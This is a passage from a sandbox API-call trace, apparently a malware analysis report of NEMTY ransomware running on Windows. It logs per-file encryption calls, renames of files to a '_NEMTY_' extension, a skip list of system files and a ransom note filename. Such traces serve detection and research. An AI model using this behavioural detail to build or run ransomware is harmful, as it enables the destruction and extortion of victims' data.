hHeap=0x4f90000) returned 1 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="TableTextService.dll.mui", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TableTextService.dll.mui", lpUsedDefaultChar=0x0) returned 24 [0107.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0107.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f0 | out: hHeap=0x4f90000) returned 1 [0107.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0107.444] Sleep (dwMilliseconds=0x5) [0107.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf3b143b0, dwHighDateTime=0x1d561e7)) [0107.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xf3b143b0, dwHighDateTime=0x1d561e7)) [0107.451] GetLastError () returned 0xb7 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.451] GetLastError () returned 0xb7 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0107.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0107.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0107.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0107.451] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0107.451] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="l2+jTqg52UAbBjtkjz4u0Ac2smg+X8jkryfwS85jx7YE/+cS8pRv4XxS15dZ4y75\r\ntiwXi+FntIkfegiUpVfJAs9X9f3edZJWVKgtRlc+AoLm+X+urVmPnNG3Wjm4b9y6\r\n0WdDvzp78lO+zd1rUExlKSuG/OgckKbuebKp6SKG4LF0iHpFuHNaYlYGx18zilja\r\n8KMy2Me6W9J0Bc+J9vWlUTw4DGkqDrS1cKXh0BN/F0Gcz1yAMoE/THfcgYz4cj3b\r\ntP5r5cPWsy2Op0MlCLUq9/3NCxT76ufPmBFeyZSA3f1fQRSrFWu4+Gnm2Xiouj2Y\r\nNdQ1tUUGWBWVgvGEFSWhXg==\r\n", pcchString=0x653ec5c) returned 1 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0107.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0107.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0107.451] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\TableTextService.dll.mui" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\tabletextservice.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.452] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0107.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0107.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.463] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.472] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.472] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.472] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.554] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.554] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0107.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.560] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.560] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0107.560] CloseHandle (hObject=0xffffffff) returned 0 [0107.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0107.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0107.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0107.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0107.560] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0107.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\TableTextService.dll.mui" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\tabletextservice.dll.mui"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\TableTextService.dll.mui._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows nt\\tabletextservice\\en-us\\tabletextservice.dll.mui._nemty_kgobjgd_")) returned 0 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0107.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0107.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.561] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3aee250, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf3aee250, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf3aee250, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0107.561] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0107.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0107.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0107.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.562] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0107.562] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.562] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3aee250, 